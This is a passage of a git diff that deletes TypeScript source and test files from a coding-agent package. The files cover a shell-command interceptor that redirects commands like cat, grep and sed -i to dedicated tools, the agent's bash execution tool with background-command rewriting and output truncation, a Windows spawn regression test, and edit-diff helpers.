}); - - it("does NOT block when grep tool is absent", () => { - assert.equal( - checkBashInterception("grep foo bar", ["read", "edit"]).block, - false, - ); - }); - }); - - describe("find rule", () => { - it("blocks find with -name flag", () => { - assert.equal( - checkBashInterception('find . -name "*.ts"', ALL_TOOLS).block, - true, - ); - }); - - it("blocks find with -type flag", () => { - assert.equal( - checkBashInterception("find /tmp -maxdepth 1 -type f", ALL_TOOLS).block, - true, - ); - }); - - it("does NOT block find without name/type flags", () => { - assert.equal( - checkBashInterception("find /tmp -maxdepth 1", ALL_TOOLS).block, - false, - ); - }); - - it("does NOT block when find tool is absent", () => { - assert.equal( - checkBashInterception('find . -name "*.ts"', ["read", "grep"]).block, - false, - ); - }); - }); - - describe("edit rule (sed/perl/awk)", () => { - it("blocks sed -i", () => { - assert.equal( - checkBashInterception("sed -i 's/foo/bar/' file.ts", ALL_TOOLS).block, - true, - ); - assert.equal( - checkBashInterception("sed --in-place 's/x/y/' f", ALL_TOOLS).block, - true, - ); - }); - - it("does NOT block sed without -i (read-only)", () => { - assert.equal( - checkBashInterception("sed 's/foo/bar/' file.ts", ALL_TOOLS).block, - false, - ); - }); - - it("blocks perl -pi and perl -p -i", () => { - assert.equal( - checkBashInterception("perl -pi -e 's/foo/bar/' file", ALL_TOOLS).block, - true, - ); - assert.equal( - checkBashInterception("perl -p -i -e 's/x/y/' f", ALL_TOOLS).block, - true, - ); - }); - - it("blocks awk -i inplace", () => { - assert.equal( - checkBashInterception("awk -i inplace '{print}' file", ALL_TOOLS).block, - true, - ); - }); - - it("does NOT block when edit tool is absent", () => { - assert.equal( - checkBashInterception("sed -i 's/a/b/' f", ["read", "grep"]).block, - false, - ); - }); - }); - - describe("write rule (echo/printf/heredoc redirect)", () => { - it("blocks echo with > redirect", () => { - assert.equal( - checkBashInterception("echo hello > file.txt", ALL_TOOLS).block, - true, - ); - }); - - it("blocks printf with > redirect", () => { - assert.equal( - checkBashInterception('printf "%s" content > out.txt', ALL_TOOLS).block, - true, - ); - }); - - it("does NOT block echo without redirect", () => { - assert.equal(checkBashInterception("echo hello", ALL_TOOLS).block, false); - }); - - it("does NOT block >> append redirect (write tool does not support appending)", () => { - assert.equal( - checkBashInterception("echo hello >> file.txt", ALL_TOOLS).block, - false, - ); - }); - - it("does NOT block stderr redirect (2>)", () => { - assert.equal( - checkBashInterception("echo test 2> /dev/null", ALL_TOOLS).block, - false, - ); - }); - - it("does NOT block pipe (echo foo | grep bar)", () => { - assert.equal( - checkBashInterception("echo foo | grep bar", ALL_TOOLS).block, - false, - ); - }); - - it("does NOT block when write tool is absent", () => { - assert.equal( - checkBashInterception("echo hello > file.txt", ["read", "grep"]).block, - false, - ); - }); - }); - - describe("pass-through commands", () => { - it("passes npm install", () => { - assert.equal( - checkBashInterception("npm install", ALL_TOOLS).block, - false, - ); - }); - - it("passes ls > output.txt (not an echo/printf/cat)", () => { - assert.equal( - checkBashInterception("ls > output.txt", ALL_TOOLS).block, - false, - ); - }); - - it("passes tee file.txt", () => { - assert.equal( - checkBashInterception("tee file.txt", ALL_TOOLS).block, - false, - ); - }); - - it("passes git log", () => { - assert.equal( - checkBashInterception("git log --oneline", ALL_TOOLS).block, - false, - ); - }); - }); - - describe("block message content", () => { - it("includes the original command in the block message", () => { - const r = checkBashInterception("cat README.md", ALL_TOOLS); - assert.ok( - r.message?.includes("cat README.md"), - "message should contain original command", - ); - }); - - it("returns block:false with no message when not blocked", () => { - const r = checkBashInterception("npm install", ALL_TOOLS); - assert.equal(r.block, false); - assert.equal(r.message, undefined); - }); - }); -}); - -describe("compileInterceptor", () => { - it("produces same results as checkBashInterception", () => { - const interceptor = compileInterceptor(DEFAULT_BASH_INTERCEPTOR_RULES); - const cases: [string, string[], boolean][] = [ - ["cat README.md", ALL_TOOLS, true], - ["npm install", ALL_TOOLS, false], - ["grep foo bar", ALL_TOOLS, true], - ["echo hello >> file", ALL_TOOLS, false], - ["echo test 2> /dev/null", ALL_TOOLS, false], - ]; - for (const [cmd, tools, expected] of cases) { - assert.equal( - interceptor.check(cmd, tools).block, - expected, - `pre-compiled: "${cmd}" expected block=${expected}`, - ); - } - }); - - it("silently skips rules with invalid regex patterns", () => { - const rules: BashInterceptorRule[] = [ - { pattern: "[invalid(", tool: "read", message: "broken" }, - { pattern: "^\\s*cat\\s+", tool: "read", message: "valid" }, - ]; - const interceptor = compileInterceptor(rules); - assert.equal(interceptor.check("cat file.txt", ["read"]).block, true); - }); - - it("returns block:false when available tools list is empty", () => { - const interceptor = compileInterceptor(DEFAULT_BASH_INTERCEPTOR_RULES); - assert.equal(interceptor.check("cat README.md", []).block, false); - }); - - it("allows custom rule override", () => { - const customRules: BashInterceptorRule[] = [ - { - pattern: "^\\s*curl\\s+", - tool: "fetch", - message: "Use fetch tool instead.", - }, - ]; - const interceptor = compileInterceptor(customRules); - assert.equal( - interceptor.check("curl https://example.com", ["fetch"]).block, - true, - ); - // default rules not active - assert.equal(interceptor.check("cat file.txt", ["read"]).block, false); - }); -}); diff --git a/packages/pi-coding-agent/src/core/tools/bash-interceptor.ts b/packages/pi-coding-agent/src/core/tools/bash-interceptor.ts deleted file mode 100644 index a88a94bae..000000000 --- a/packages/pi-coding-agent/src/core/tools/bash-interceptor.ts +++ /dev/null @@ -1,124 +0,0 @@ -/** - * Bash command interceptor — blocks shell commands that duplicate dedicated tools. - * - * Each rule defines a regex pattern, a suggested replacement tool, and a message. - * A command is only blocked when the suggested tool exists in the session's active tool list. - */ - -export interface BashInterceptorRule { - pattern: string; - flags?: string; - tool: string; - message: string; -} - -export const DEFAULT_BASH_INTERCEPTOR_RULES: BashInterceptorRule[] = [ - { - // cat/head/tail for file viewing — excludes heredoc syntax (cat <<) - pattern: "^\\s*(cat(?!\\s*<<)|head|tail|less|more)\\s+", - tool: "read", - message: - "Use the read tool to view file contents instead of shell commands.", - }, - { - pattern: "^\\s*(grep|rg|ripgrep|ag|ack)\\s+", - tool: "grep", - message: - "Use the grep tool for searching file contents instead of shell commands.", - }, - { - pattern: "^\\s*(find|fd|locate)\\s+.*(-name|-iname|-type|--type|-glob)", - tool: "find", - message: - "Use the find tool for locating files by name/type instead of shell commands.", - }, - { - pattern: "^\\s*sed\\s+(-i|--in-place)", - tool: "edit", - message: - "Use the edit tool for in-place file modifications instead of sed.", - }, - { - pattern: "^\\s*perl\\s+.*-[pn]?i", - tool: "edit", - message: - "Use the edit tool for in-place file modifications instead of perl.", - }, - { - pattern: "^\\s*awk\\s+.*-i\\s+inplace", - tool: "edit", - message: - "Use the edit tool for in-place file modifications instead of awk.", - }, - { - // echo/printf/heredoc writing to a file via > (not >> append, not 2> stderr redirect) - // Matches a single > not preceded by |, >, or a digit (fd redirect like 2>) - pattern: "^\\s*(echo|printf|cat\\s*<<)\\s+.*(?\\d])>(?!>)\\s*\\S", - tool: "write", - message: - "Use the write tool to create/overwrite files instead of shell redirects.", - }, -]; - -export interface InterceptionResult { - block: boolean; - message?: string; - suggestedTool?: string; -} - -export interface CompiledInterceptor { - check: (command: string, availableTools: string[]) => InterceptionResult; -} - -/** - * Compile rules into an interceptor with pre-built regex objects. - * Silently skips rules with invalid patterns. - * - * Pre-compiling at construction time avoids repeated `new RegExp()` calls - * on every bash command invocation. - */ -export function compileInterceptor( - rules: BashInterceptorRule[], -): CompiledInterceptor { - const compiled = rules.flatMap((rule) => { - try { - return [{ regex: new RegExp(rule.pattern, rule.flags), rule }]; - } catch { - return []; // skip invalid regex - } - }); - - return { - check(command: string, availableTools: string[]): InterceptionResult { - const trimmed = command.trim(); - for (const { regex, rule } of compiled) { - if (regex.test(trimmed) && availableTools.includes(rule.tool)) { - return { - block: true, - message: `Blocked: ${rule.message}\n\nOriginal command: ${command}`, - suggestedTool: rule.tool, - }; - } - } - return { block: false }; - }, - }; -} - -/** - * Check whether a bash command should be intercepted. - * - * Compiles rules on each call — prefer `compileInterceptor()` for repeated use. - * - * @param command - The shell command to check - * @param availableTools - Tool names present in the current session - * @param rules - Override the default rule set (optional) - */ -export function checkBashInterception( - command: string, - availableTools: string[], - rules?: BashInterceptorRule[], -): InterceptionResult { - const effectiveRules = rules ?? DEFAULT_BASH_INTERCEPTOR_RULES; - return compileInterceptor(effectiveRules).check(command, availableTools); -} diff --git a/packages/pi-coding-agent/src/core/tools/bash-spawn-windows.test.ts b/packages/pi-coding-agent/src/core/tools/bash-spawn-windows.test.ts deleted file mode 100644 index 52b95f980..000000000 --- a/packages/pi-coding-agent/src/core/tools/bash-spawn-windows.test.ts +++ /dev/null @@ -1,105 +0,0 @@ -/** - * bash-spawn-windows.test.ts — Regression test for Windows spawn EINVAL. - * - * Verifies that bash tool spawn options disable `detached: true` on Windows - * to prevent EINVAL errors in ConPTY / VSCode terminal contexts. - * - * Background: - * On Windows, `spawn()` with `detached: true` sets the - * CREATE_NEW_PROCESS_GROUP flag in CreateProcess. In certain terminal - * contexts (VSCode integrated terminal, ConPTY, Windows Terminal) this - * flag conflicts with the parent process group and causes a synchronous - * EINVAL from libuv. The bg-shell extension already guards against this - * with `detached: process.platform !== "win32"` (process-manager.ts); - * this test ensures all other spawn sites are aligned. - * - * See: singularity-forge/sf-run#XXXX - */ - -import assert from "node:assert/strict"; -import { spawn } from "node:child_process"; -// Verify the spawn option pattern used across the codebase. -// This is a static/structural test — it reads the source files and asserts -// they use the platform-guarded detached flag. -import { readFileSync } from "node:fs"; -import { dirname, join } from "node:path"; -import { fileURLToPath } from "node:url"; -import { test } from "vitest"; - -const __dirname = dirname(fileURLToPath(import.meta.url)); - -const SPAWN_FILES = [ - join(__dirname, "bash.ts"), - join(__dirname, "..", "bash-executor.ts"), - join(__dirname, "..", "..", "utils", "shell.ts"), -]; - -test("spawn calls use platform-guarded detached flag (no unconditional detached: true)", () => { - for (const file of SPAWN_FILES) { - const content = readFileSync(file, "utf-8"); - const lines = content.split("\n"); - - for (let i = 0; i < lines.length; i++) { - const line = lines[i]!; - // Skip comments - if (line.trim().startsWith("//") || line.trim().startsWith("*")) continue; - // Check for unconditional `detached: true` - if (/detached:\s*true\b/.test(line)) { - assert.fail( - `${file}:${i + 1} has unconditional 'detached: true' — ` + - `must use 'detached: process.platform !== "win32"' ` + - `to prevent EINVAL on Windows (ConPTY / VSCode terminal)`, - ); - } - } - } -}); - -test("killProcessTree does not use detached: true for taskkill on Windows", () => { - const shellFile = join(__dirname, "..", "..", "utils", "shell.ts"); - const content = readFileSync(shellFile, "utf-8"); - - // Find the taskkill spawn call and ensure it doesn't have detached: true - const taskkillRegion = content.match(/spawn\("taskkill"[\s\S]*?\}\)/); - if (taskkillRegion) { - assert.ok( - !/detached:\s*true/.test(taskkillRegion[0]), - "taskkill spawn should not use detached: true — " + - "it can cause EINVAL on Windows and is unnecessary for a utility process", - ); - } -}); - -// Smoke test: spawn with platform-guarded detached flag actually works -test("spawn with detached: process.platform !== 'win32' succeeds", async () => { - const { promise, resolve, reject } = Promise.withResolvers(); - - const child = spawn( - process.platform === "win32" ? "cmd" : "sh", - process.platform === "win32" ? ["/c", "echo ok"] : ["-c", "echo ok"], - { - detached: process.platform !== "win32", - stdio: ["ignore", "pipe", "pipe"], - }, - ); - - let output = ""; - child.stdout?.on("data", (d: Buffer) => { - output += d.toString(); - }); - child.on("error", reject); - child.on("close", (code) => { - try { - assert.equal(code, 0, "spawn should succeed"); - assert.ok( - output.trim().includes("ok"), - `Expected 'ok' in output, got: ${output}`, - ); - resolve(); - } catch (e) { - reject(e); - } - }); - - await promise; -}); diff --git a/packages/pi-coding-agent/src/core/tools/bash.ts b/packages/pi-coding-agent/src/core/tools/bash.ts deleted file mode 100644 index cb7bdeae7..000000000 --- a/packages/pi-coding-agent/src/core/tools/bash.ts +++ /dev/null @@ -1,554 +0,0 @@ -import { spawn } from "node:child_process"; -import { randomBytes } from "node:crypto"; -import { createWriteStream, existsSync } from "node:fs"; -import { createRequire } from "node:module"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; -import { type Static, Type } from "@sinclair/typebox"; -import type { AgentTool } from "@singularity-forge/pi-agent-core"; -import { - getShellConfig, - getShellEnv, - killProcessTree, - sanitizeCommand, - trackDetachedChildPid, - untrackDetachedChildPid, -} from "../../utils/shell.js"; -import type { ArtifactManager } from "../artifact-manager.js"; -import { - type BashInterceptorRule, - compileInterceptor, - DEFAULT_BASH_INTERCEPTOR_RULES, -} from "./bash-interceptor.js"; -import { - DEFAULT_MAX_BYTES, - DEFAULT_MAX_LINES, - formatSize, - type TruncationResult, - truncateTail, -} from "./truncate.js"; - -// Cached Win32 FFI handles for restoring VT input after child processes -let _vtHandles: { - GetConsoleMode: any; - SetConsoleMode: any; - handle: any; -} | null = null; -function restoreWindowsVTInput(): void { - if (process.platform !== "win32") return; - try { - if (!_vtHandles) { - const cjsRequire = createRequire(import.meta.url); - const koffi = cjsRequire("koffi"); - const k32 = koffi.load("kernel32.dll"); - const GetStdHandle = k32.func("void* __stdcall GetStdHandle(int)"); - const GetConsoleMode = k32.func( - "bool __stdcall GetConsoleMode(void*, _Out_ uint32_t*)", - ); - const SetConsoleMode = k32.func( - "bool __stdcall SetConsoleMode(void*, uint32_t)", - ); - const handle = GetStdHandle(-10); - _vtHandles = { GetConsoleMode, SetConsoleMode, handle }; - } - const ENABLE_VIRTUAL_TERMINAL_INPUT = 0x0200; - const mode = new Uint32Array(1); - _vtHandles.GetConsoleMode(_vtHandles.handle, mode); - if (!(mode[0]! & ENABLE_VIRTUAL_TERMINAL_INPUT)) { - _vtHandles.SetConsoleMode( - _vtHandles.handle, - mode[0]! | ENABLE_VIRTUAL_TERMINAL_INPUT, - ); - } - } catch { - /* koffi not available */ - } -} - -/** - * Generate a unique temp file path for bash output - */ -function getTempFilePath(): string { - const id = randomBytes(8).toString("hex"); - return join(tmpdir(), `pi-bash-${id}.log`); -} - -/** - * Detect whether a command fragment ends with an unquoted & (background operator). - * Returns true for patterns like: `cmd &`, `cmd arg &`, `cmd & disown`, `(cmd) &`. - * Returns false when & appears inside a string literal or as &&. - */ -function endsWithBackgroundOperator(fragment: string): boolean { - // Remove content inside single-quoted strings to avoid false positives - const stripped = fragment.replace(/'[^']*'/g, "''"); - // Match trailing & not preceded by another & (i.e., not &&) - return /(?, >>, &>, |, /dev/null redirects. - */ -function hasOutputRedirect(segment: string): boolean { - // Remove single-quoted strings to avoid matching inside them - const stripped = segment.replace(/'[^']*'/g, "''"); - // Match >, >> not preceded by 2 (stderr-only) — we only care about stdout - // Also match &> (combined), >&, or a pipe | which routes stdout elsewhere - return /(?>?|&>|>&|\|)/.test(stripped); -} - -/** - * Rewrite a command that uses & for backgrounding so the background process - * does not inherit the bash tool's stdout/stderr pipes. - * - * Without this, `python -m http.server 8080 &` causes the bash tool to hang - * indefinitely because Node.js keeps the pipe open until every process that - * inherited it exits — including the long-running server. - * - * The rewrite adds `>/dev/null 2>&1` before each & where stdout is not already - * redirected, ensuring the background process detaches from the pipes while - * still producing a human-readable notice in the tool output. - * - * Returns { command: string; rewritten: boolean }. - */ -export function rewriteBackgroundCommand(command: string): { - command: string; - rewritten: boolean; -} { - // Quick pre-check: if there's no & at all, skip the more expensive processing - if (!command.includes("&")) return { command, rewritten: false }; - - // Split on ; and newlines to handle compound commands. - // We rewrite each segment independently. - // Note: this is intentionally simple and covers the common LLM patterns. - // It does not attempt to parse complex nested subshells. - const segments = command.split(/(?<=[;\n])/); - let anyRewritten = false; - - const rewrittenSegments = segments.map((segment) => { - if (!endsWithBackgroundOperator(segment)) return segment; - if (hasOutputRedirect(segment)) return segment; - - anyRewritten = true; - // Insert >/dev/null 2>&1 before the trailing & (and optional disown/comment) - return segment.replace( - /(?/dev/null 2>&1 $1", - ); - }); - - if (!anyRewritten) return { command, rewritten: false }; - return { command: rewrittenSegments.join(""), rewritten: true }; -} - -const bashSchema = Type.Object({ - command: Type.String({ description: "Bash command to execute" }), - timeout: Type.Optional( - Type.Number({ - description: "Timeout in seconds (optional, no default timeout)", - }), - ), -}); - -export type BashToolInput = Static; - -export interface BashToolDetails { - truncation?: TruncationResult; - fullOutputPath?: string; - artifactId?: string; -} - -/** - * Pluggable operations for the bash tool. - * Override these to delegate command execution to remote systems (e.g., SSH). - */ -export interface BashOperations { - /** - * Execute a command and stream output. - * @param command - The command to execute - * @param cwd - Working directory - * @param options - Execution options - * @returns Promise resolving to exit code (null if killed) - */ - exec: ( - command: string, - cwd: string, - options: { - onData: (data: Buffer) => void; - signal?: AbortSignal; - timeout?: number; - env?: NodeJS.ProcessEnv; - }, - ) => Promise<{ exitCode: number | null }>; -} - -/** - * Default bash operations using local shell - */ -const defaultBashOperations: BashOperations = { - exec: (command, cwd, { onData, signal, timeout, env }) => { - return new Promise((resolve, reject) => { - const { shell, args } = getShellConfig(); - - if (!existsSync(cwd)) { - reject( - new Error( - `Working directory does not exist: ${cwd}\nCannot execute bash commands.`, - ), - ); - return; - } - - // On Windows, detached: true sets CREATE_NEW_PROCESS_GROUP which can - // cause EINVAL in VSCode/ConPTY terminal contexts. The bg-shell - // extension already guards this (process-manager.ts); align here. - // Process-tree cleanup uses taskkill /F /T on Windows regardless. - const child = spawn(shell, [...args, command], { - cwd, - detached: process.platform !== "win32", - env: env ?? getShellEnv(), - stdio: ["ignore", "pipe", "pipe"], - }); - if (child.pid) trackDetachedChildPid(child.pid); - - let timedOut = false; - - // Set timeout if provided - let timeoutHandle: NodeJS.Timeout | undefined; - if (timeout !== undefined && timeout > 0) { - timeoutHandle = setTimeout(() => { - timedOut = true; - if (child.pid) { - killProcessTree(child.pid); - } - }, timeout * 1000); - } - - // Stream stdout and stderr - if (child.stdout) { - child.stdout.on("data", onData); - } - if (child.stderr) { - child.stderr.on("data", onData); - } - - // Handle shell spawn errors - child.on("error", (err) => { - if (child.pid) untrackDetachedChildPid(child.pid); - if (timeoutHandle) clearTimeout(timeoutHandle); - if (signal) signal.removeEventListener("abort", onAbort); - reject(err); - }); - - // Handle abort signal - kill entire process tree - const onAbort = () => { - if (child.pid) { - killProcessTree(child.pid); - } - }; - - if (signal) { - if (signal.aborted) { - onAbort(); - } else { - signal.addEventListener("abort", onAbort, { once: true }); - } - } - - // Handle process exit - child.on("close", (code) => { - if (child.pid) untrackDetachedChildPid(child.pid); - restoreWindowsVTInput(); - if (timeoutHandle) clearTimeout(timeoutHandle); - if (signal) signal.removeEventListener("abort", onAbort); - - if (signal?.aborted) { - reject(new Error("aborted")); - return; - } - - if (timedOut) { - reject(new Error(`timeout:${timeout}`)); - return; - } - - resolve({ exitCode: code }); - }); - }); - }, -}; - -export interface BashSpawnContext { - command: string; - cwd: string; - env: NodeJS.ProcessEnv; -} - -export type BashSpawnHook = (context: BashSpawnContext) => BashSpawnContext; - -function resolveSpawnContext( - command: string, - cwd: string, - spawnHook?: BashSpawnHook, -): BashSpawnContext { - const baseContext: BashSpawnContext = { - command, - cwd, - env: { ...getShellEnv() }, - }; - - return spawnHook ? spawnHook(baseContext) : baseContext; -} - -export interface BashToolOptions { - /** Custom operations for command execution. Default: local shell */ - operations?: BashOperations; - /** Command prefix prepended to every command (e.g., "shopt -s expand_aliases" for alias support) */ - commandPrefix?: string; - /** Hook to adjust command, cwd, or env before execution */ - spawnHook?: BashSpawnHook; - /** Session-scoped artifact storage. When provided, spills to artifact files instead of temp files. */ - artifactManager?: ArtifactManager; - /** Bash interceptor configuration — blocks commands that duplicate dedicated tools */ - interceptor?: { - enabled: boolean; - rules?: BashInterceptorRule[]; - }; - /** Tool names available in the session, used by the interceptor to check if replacement tools exist */ - availableToolNames?: string[] | (() => string[]); -} - -export function createBashTool( - cwd: string, - options?: BashToolOptions, -): AgentTool { - const ops = options?.operations ?? defaultBashOperations; - const commandPrefix = options?.commandPrefix; - const spawnHook = options?.spawnHook; - const artifactManager = options?.artifactManager; - - // Pre-compile interceptor rules once at construction time - const interceptorInstance = options?.interceptor?.enabled - ? compileInterceptor( - options.interceptor.rules ?? DEFAULT_BASH_INTERCEPTOR_RULES, - ) - : null; - - return { - name: "bash", - label: "bash", - description: `Execute a bash command in the current working directory. Returns stdout and stderr. Output is truncated to last ${DEFAULT_MAX_LINES} lines or ${DEFAULT_MAX_BYTES / 1024}KB (whichever is hit first). If truncated, full output is saved to a temp file. Optionally provide a timeout in seconds.`, - parameters: bashSchema, - execute: async ( - _toolCallId: string, - { command, timeout }: { command: string; timeout?: number }, - signal?: AbortSignal, - onUpdate?, - ) => { - // Check bash interceptor — block commands that duplicate dedicated tools - if (interceptorInstance) { - const toolNames = - typeof options!.availableToolNames === "function" - ? options!.availableToolNames() - : (options!.availableToolNames ?? []); - const interception = interceptorInstance.check(command, toolNames); - if (interception.block) { - return { - content: [ - { - type: "text" as const, - text: interception.message ?? "Command blocked by interceptor", - }, - ], - details: undefined, - }; - } - } - - // Rewrite background commands (&) to redirect output away from the pipes. - // Without this, `cmd &` causes the tool to hang because the background - // process inherits the piped stdout/stderr and keeps them open indefinitely. - const bgResult = rewriteBackgroundCommand(command); - const effectiveCommand = bgResult.command; - if (bgResult.rewritten) { - // Surface a brief advisory so the LLM knows what happened. - // The rewrite is transparent for the common case; explicit detachment - // (nohup, start_new_session) is preferred for robustness. - onUpdate?.({ - content: [ - { - type: "text" as const, - text: "Note: Background command output redirected to /dev/null to prevent pipe hang. Use nohup or setsid for reliable detachment.", - }, - ], - details: undefined, - }); - } - // Apply command prefix if configured (e.g., "shopt -s expand_aliases" for alias support) - const resolvedCommand = sanitizeCommand( - commandPrefix - ? `${commandPrefix}\n${effectiveCommand}` - : effectiveCommand, - ); - const spawnContext = resolveSpawnContext(resolvedCommand, cwd, spawnHook); - - return new Promise((resolve, reject) => { - // We'll stream to a file if output gets large - let spillFilePath: string | undefined; - let spillArtifactId: string | undefined; - let spillFileStream: ReturnType | undefined; - let totalBytes = 0; - - // Keep a rolling buffer of the last chunk for tail truncation - const chunks: Buffer[] = []; - let chunksBytes = 0; - // Keep more than we need so we have enough for truncation - const maxChunksBytes = DEFAULT_MAX_BYTES * 2; - - const ensureTempFile = () => { - if (spillFilePath) return; - if (artifactManager) { - const allocated = artifactManager.allocatePath("bash"); - spillFilePath = allocated.path; - spillArtifactId = allocated.id; - } else { - spillFilePath = getTempFilePath(); - } - spillFileStream = createWriteStream(spillFilePath); - for (const chunk of chunks) spillFileStream.write(chunk); - }; - - const handleData = (data: Buffer) => { - totalBytes += data.length; - - // Start writing to a file once output exceeds the in-memory threshold. - if (totalBytes > DEFAULT_MAX_BYTES) { - ensureTempFile(); - } - - // Write to spill file if we have one - if (spillFileStream) { - spillFileStream.write(data); - } - - // Keep rolling buffer of recent data - chunks.push(data); - chunksBytes += data.length; - - // Trim old chunks if buffer is too large - while (chunksBytes > maxChunksBytes && chunks.length > 1) { - const removed = chunks.shift()!; - chunksBytes -= removed.length; - } - - // Stream partial output to callback (truncated rolling buffer) - if (onUpdate) { - const fullBuffer = Buffer.concat(chunks); - const fullText = fullBuffer.toString("utf-8"); - const truncation = truncateTail(fullText); - if (truncation.truncated) { - ensureTempFile(); - } - onUpdate({ - content: [{ type: "text", text: truncation.content || "" }], - details: { - truncation: truncation.truncated ? truncation : undefined, - fullOutputPath: spillFilePath, - }, - }); - } - }; - - ops - .exec(spawnContext.command, spawnContext.cwd, { - onData: handleData, - signal, - timeout, - env: spawnContext.env, - }) - .then(({ exitCode }) => { - const fullBuffer = Buffer.concat(chunks); - const fullOutput = fullBuffer.toString("utf-8"); - - // Apply tail truncation - const truncation = truncateTail(fullOutput); - if (truncation.truncated) { - ensureTempFile(); - } - // Close spill file stream before building the final result. - if (spillFileStream) spillFileStream.end(); - let outputText = truncation.content || "(no output)"; - - // Build details with truncation info - let details: BashToolDetails | undefined; - - if (truncation.truncated) { - details = { - truncation, - fullOutputPath: spillFilePath, - ...(spillArtifactId ? { artifactId: spillArtifactId } : {}), - }; - - // Build actionable notice - const startLine = - truncation.totalLines - truncation.outputLines + 1; - const endLine = truncation.totalLines; - const outputRef = spillArtifactId - ? `artifact://${spillArtifactId}` - : spillFilePath; - - if (truncation.lastLinePartial) { - const lastLineSize = formatSize( - Buffer.byteLength( - fullOutput.split("\n").pop() || "", - "utf-8", - ), - ); - outputText += `\n\n[Showing last ${formatSize(truncation.outputBytes)} of line ${endLine} (line is ${lastLineSize}). Full output: ${outputRef}]`; - } else if (truncation.truncatedBy === "lines") { - outputText += `\n\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines}. Full output: ${outputRef}]`; - } else { - outputText += `\n\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines} (${formatSize(DEFAULT_MAX_BYTES)} limit). Full output: ${outputRef}]`; - } - } - - if (exitCode !== 0 && exitCode !== null) { - outputText += `\n\nCommand exited with code ${exitCode}`; - reject(new Error(outputText)); - } else { - resolve({ - content: [{ type: "text", text: outputText }], - details, - }); - } - }) - .catch((err: Error) => { - // Close temp file stream - if (spillFileStream) { - spillFileStream.end(); - } - - // Combine all buffered chunks for error output - const fullBuffer = Buffer.concat(chunks); - let output = fullBuffer.toString("utf-8"); - - if (err.message === "aborted") { - if (output) output += "\n\n"; - output += "Command aborted"; - reject(new Error(output)); - } else if (err.message.startsWith("timeout:")) { - const timeoutSecs = err.message.split(":")[1]; - if (output) output += "\n\n"; - output += `Command timed out after ${timeoutSecs} seconds`; - reject(new Error(output)); - } else { - reject(err); - } - }); - }); - }, - }; -} - -/** Default bash tool using process.cwd() - for backwards compatibility */ -export const bashTool = createBashTool(process.cwd()); diff --git a/packages/pi-coding-agent/src/core/tools/edit-diff.test.ts b/packages/pi-coding-agent/src/core/tools/edit-diff.test.ts deleted file mode 100644 index 7747a0fff..000000000 --- a/packages/pi-coding-agent/src/core/tools/edit-diff.test.ts +++ /dev/null @@ -1,94 +0,0 @@ -import assert from "node:assert/strict"; -import { mkdtempSync, rmSync, writeFileSync } from "node:fs"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; -import { describe, it } from "vitest"; - -import { - computeEditDiff, - fuzzyFindText, - generateDiffString, - normalizeForFuzzyMatch, -} from "./edit-diff.js"; - -describe("edit-diff", () => { - it("normalizes quotes, dashes, spaces, and trailing whitespace", () => { - const input = "“hello”\u00A0world — test \nnext\t\t\n"; - assert.equal(normalizeForFuzzyMatch(input), '"hello" world - test\nnext\n'); - }); - - it("falls back to fuzzy matching when unicode punctuation differs", () => { - const result = fuzzyFindText( - "const title = “Hello”;\n", - 'const title = "Hello";\n', - ); - assert.equal(result.found, true); - assert.equal(result.usedFuzzyMatch, true); - assert.equal(result.contentForReplacement, 'const title = "Hello";\n'); - }); - - it("renders numbered diffs with the first changed line", () => { - const result = generateDiffString( - "line 1\nline 2\nline 3\n", - "line 1\nline two\nline 3\n", - ); - assert.equal(result.firstChangedLine, 2); - assert.match(result.diff, /-2 line 2/); - assert.match(result.diff, /\+2 line two/); - }); - - it("respects contextLines and inserts separators for distant changes", () => { - const lines = Array.from({ length: 20 }, (_, i) => `line ${i + 1}`); - const oldContent = lines.join("\n") + "\n"; - const modified = [...lines]; - modified[1] = "changed 2"; // line 2 - modified[17] = "changed 18"; // line 18 - const newContent = modified.join("\n") + "\n"; - - const result = generateDiffString(oldContent, newContent, 2); - // Should contain separator between the two distant change regions - assert.match(result.diff, /\.\.\./); - // Should NOT contain lines far from changes (e.g. line 10) - assert.doesNotMatch(result.diff, /line 10/); - // Should contain the changed lines - assert.match(result.diff, /changed 2/); - assert.match(result.diff, /changed 18/); - }); - - it("handles large files without OOM by falling back to linear diff", () => { - // Create files large enough to exceed the DP threshold - const lineCount = 3000; - const oldLines = Array.from({ length: lineCount }, (_, i) => `line ${i}`); - const newLines = [...oldLines]; - newLines[1500] = "CHANGED"; - const result = generateDiffString( - oldLines.join("\n") + "\n", - newLines.join("\n") + "\n", - ); - assert.ok(result.firstChangedLine !== undefined); - assert.match(result.diff, /CHANGED/); - }); - - it("computes diffs for preview without native helpers", async () => { - const dir = mkdtempSync(join(tmpdir(), "edit-diff-test-")); - try { - const file = join(dir, "sample.ts"); - writeFileSync(file, "const title = “Hello”;\n", "utf-8"); - - const result = await computeEditDiff( - file, - 'const title = "Hello";\n', - 'const title = "Hi";\n', - dir, - ); - - assert.ok(!("error" in result), "expected a diff result"); - if (!("error" in result)) { - assert.equal(result.firstChangedLine, 1); - assert.match(result.diff, /\+1 const title = "Hi";/); - } - } finally { - rmSync(dir, { recursive: true, force: true }); - } - }); -}); diff --git a/packages/pi-coding-agent/src/core/tools/edit-diff.ts b/packages/pi-coding-agent/src/core/tools/edit-diff.ts deleted file mode 100644 index b9362d684..000000000 --- a/packages/pi-coding-agent/src/core/tools/edit-diff.ts +++ /dev/null @@ -1,555 +0,0 @@ -/** - * Shared diff computation utilities for the edit tool. - * Used by both edit.ts (for execution) and tool-execution.ts (for preview rendering). - * - * These helpers intentionally stay in JavaScript. Issue #453 showed that - * post-tool preview paths must not depend on the native addon because a native - * hang there can wedge the entire interactive session after a successful tool run. - */ - -import { constants } from "node:fs"; -import { access, readFile } from "node:fs/promises"; -import { resolveToCwd, UNICODE_SPACES } from "./path-utils.js"; - -export function detectLineEnding(content: string): "\r\n" | "\n" { - const crlfIdx = content.indexOf("\r\n"); - const lfIdx = content.indexOf("\n"); - if (lfIdx === -1) return "\n"; - if (crlfIdx === -1) return "\n"; - return crlfIdx < lfIdx ? "\r\n" : "\n"; -} - -export function normalizeToLF(text: string): string { - return text.replace(/\r\n/g, "\n").replace(/\r/g, "\n"); -} - -export function restoreLineEndings( - text: string, - ending: "\r\n" | "\n", -): string { - return ending === "\r\n" ? text.replace(/\n/g, "\r\n") : text; -} - -/** - * Normalize text for fuzzy matching. - * - Strip trailing whitespace from each line - * - Normalize smart quotes to ASCII equivalents - * - Normalize Unicode dashes/hyphens to ASCII 